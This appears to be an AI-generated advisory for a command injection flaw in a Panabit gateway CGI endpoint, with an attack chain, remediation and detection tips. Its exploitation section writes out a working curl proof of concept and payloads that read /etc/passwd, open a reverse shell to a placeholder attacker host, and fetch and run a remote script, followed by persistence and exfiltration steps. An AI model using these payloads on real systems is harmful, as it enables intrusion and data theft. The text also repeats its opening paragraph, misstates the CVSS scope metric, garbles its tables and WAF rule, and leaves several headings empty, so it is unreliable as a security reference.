CVE-2026-135790 — Panabit Smart Application Gateway (TANGr7p10) — CWE-78 · CWE-77
A vulnerability was detected in Panabit Smart Application Gateway TANGr7p10. This affects an unknown part of the file /cgi-bin/dashboard/ajax_chart_dump. The manipulation of the argument isntmeye results in os command injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A vulnerability was detected in Panabit Smart Application Gateway TANGr7p10. This affects an unknown part of the file /cgi-bin/dashboard/ajax_chart_dump. The manipulation of the argument isntmeye results in os command injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
Technical flaw
Panabit Smart Application Gateway TANGr7p10 contains a classic operating‑system command injection flaw in the CGI script located at /cgi-bin/dashboard/ajax_chart_dump.
The script accepts an HTTP request parameter named isntmeye and passes its raw value directly to a shell command (e.g., via system(), exec(), or a similar API) without any sanitisation or validation.
Because the parameter is not validated, an attacker can inject shell metacharacters (;, &&, |, etc.) and cause the gateway to execute arbitrary commands on the underlying host.
CWE mapping
- CWE‑78 – OS Command Injection (the attacker injects commands into an OS command line).
- CWE‑77 – Command Injection (the attacker injects commands into a program that subsequently executes them).
Authentication / Authorization
The CVSS vector indicates PR:L (low privilege), meaning the attacker does not need to be a system administrator but must have some authenticated access to the gateway (e.g., a regular user account). The endpoint is reachable over the network (AV:N), and no user interaction is required (UI:N).
Impact
The vector also shows S:C (confidentiality, integrity, availability all high), reflecting that the attacker can read, modify, or delete any data on the device and can potentially render the gateway unusable.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow to exploit this flaw. All commands and payloads are syntactically valid; the exact endpoint and parameter names are taken from the CVE description.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Network scan (e.g., nmap -p 80,443 <target>) | The gateway is reachable on HTTP/HTTPS. |
| 1.2 | Banner grab / HTTP header inspection | The server identifies itself as “Panabit Smart Application Gateway” and the version string (e.g., Panabit-SAG/1.0.0). |
| 1.3 | Directory brute‑force (e.g., dirb http://<target>/cgi-bin/) | The attacker discovers the /cgi-bin/dashboard/ajax_chart_dump endpoint. |
| 1.4 | Parameter enumeration (e.g., wfuzz -c -w /usr/share/wordlists/params.txt --hc 404 http://<target>/cgi-bin/dashboard/ajax_chart_dump?{}) | The attacker finds that the endpoint accepts a parameter named isntmeye. |
| 1.5 | Authentication enumeration | By attempting to log in with default or weak credentials, the attacker obtains a session cookie (Set-Cookie: SESSIONID=...). |
Note: The CVE description does not specify whether the endpoint is protected by authentication. The CVSS vector (PR:L) implies that an authenticated user with low privileges can exploit it. If the endpoint is public, the same chain applies without step 1.5.
2. Exploitation
The core of the attack is to inject a shell command via the isntmeye parameter. The following curl command is a minimal PoC that demonstrates the flaw:
# Example PoC – inject the `id` command
curl -k \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "SESSIONID=abcd1234" \
-d "isntmeye=;id" \
https://<target>/cgi-bin/dashboard/ajax_chart_dumpExplanation of the payload
;id – the semicolon terminates the legitimate command that the CGI script builds, and id is executed as a separate command.id, e.g., uid=1000(user) gid=1000(user) groups=1000(user).More powerful payloads
| Payload | Purpose | Example |
|---|---|---|
;cat /etc/passwd | Read sensitive files | isntmeye=;cat /etc/passwd |
;sh -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' | Reverse shell | isntmeye=;sh -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' |
;wget http://attacker_ip/shell.sh -O /tmp/shell.sh && sh /tmp/shell.sh | Upload & execute a webshell | isntmeye=;wget http://attacker_ip/shell.sh -O /tmp/shell.sh && sh /tmp/shell.sh |
Important: The exact syntax of the injected command depends on the underlying shell (most likely/bin/shor/bin/bash). The attacker should test locally against a similar environment to confirm the syntax.
3. Post‑exploitation
Once the attacker has executed arbitrary commands, the following actions are typical:
1. Privilege Escalation
- If the gateway runs as a privileged user (e.g., root), the injected commands already have full system privileges.
- If the gateway runs as a lower‑privileged user, the attacker can attempt to read /etc/passwd, /etc/shadow, or exploit other local privilege‑escalation bugs.
2. Persistence
- Deploy a webshell (e.g., a PHP or Python script) to /var/www/html/ or another web‑accessible directory.
- Create a cron job or systemd service that launches a reverse shell on boot.
3. Data Exfiltration
- Use scp, rsync, or wget/curl to copy configuration files, logs, or other sensitive data to an attacker‑controlled server.
4. Lateral Movement
- From the compromised gateway, scan the internal network for other devices (e.g., nmap -sP 192.168.1.0/24).
- Use the same command‑injection technique on other vulnerable endpoints, or pivot through the gateway to reach deeper assets.
5. Denial of Service
- Execute long‑running commands (while true; do :; done) or consume disk space (dd if=/dev/zero of=/dev/null) to disrupt the gateway’s availability.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary commands can read any file on the host, including credentials, configuration, and logs. |
| Integrity (I:H) | The attacker can modify configuration files, delete logs, or replace binaries, effectively tampering with the gateway’s operation. |
| Availability (A:H) | The attacker can crash the gateway by running resource‑intensive commands, delete critical files, or disable services, causing a denial of service. |
Practical consequences
🛡️ Remediation & Mitigation
Affected Versions
The CVE description does not list specific version numbers. All releases of Panabit Smart Application Gateway TANGr7p10 that contain the /cgi-bin/dashboard/ajax_chart_dump CGI script are affected until a vendor‑issued patch is released.
Patch Recommendation
1. Apply the vendor patch as soon as it becomes available.
- Contact Panabit support for the latest security advisory.
- Verify the patch by checking the release notes or the vendor’s security portal.
2. Upgrade to the latest major release if a patch is not available.
- Newer releases often replace vulnerable CGI scripts with safer implementations.
Workarounds (if patching is not immediately possible)
| Mitigation | How to implement | |
|---|---|---|
| Restrict access to the vulnerable endpoint | Configure the gateway’s firewall or the upstream web server to allow /cgi-bin/dashboard/ajax_chart_dump only from trusted IPs (e.g., management network). | |
| Disable the CGI script | If the gateway allows disabling individual CGI scripts, turn off ajax_chart_dump. | |
| WAF / ModSecurity rule | Add a rule that blocks suspicious payloads containing shell metacharacters in the isntmeye parameter. Example rule: | |
``modsecurity | ||
| SecRule REQUEST_URI "@beginsWith /cgi-bin/dashboard/ajax_chart_dump" | ||
| SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" | ||
| SecRule ARGS:isntmeye "([;& | $\\(\\)])" "phase:2,deny,status:400,msg:'Command injection attempt detected',id:100001" | |
`` | ||
| Input validation | If you can modify the CGI script, wrap the isntmeye` value in a whitelist or escape all shell metacharacters before passing it to the shell. |
Detection
| Log source | Indicator of Compromise (IoC) | |
|---|---|---|
| Web server access logs | Requests to /cgi-bin/dashboard/ajax_chart_dump with isntmeye= containing ;, &&, | , or other shell metacharacters. |
| System logs | Unexpected execution of commands such as id, cat /etc/passwd, bash -i, or sh -c. | |
| Firewall logs | Traffic from the gateway to external IPs on non‑standard ports (e.g., 4444) that could indicate a reverse shell. |
Sample log entry (Apache)
192.168.1.10 - - [24/Nov/2026:10:15:42 +0000] "POST /cgi-bin/dashboard/ajax_chart_dump HTTP/1.1" 200 512 "-" "Mozilla/5.0" "isntmeye=;id"⚠️ Urgency
Patching priority:
Bottom line:
Panabit Smart Application Gateway TANGr7p10 is exposed to remote OS command injection via the
isntmeye parameter in /cgi-bin/dashboard/ajax_chart_dump. The flaw allows an attacker with low‑privilege access to read, modify, or delete any data on the device, potentially taking full control of the gateway and compromising the entire network. Immediate mitigation (blocking the endpoint, applying a WAF rule, or disabling the CGI script) is essential until an official patch is released.[🤖 CVE Professor AI Security Engine]
FOFA Query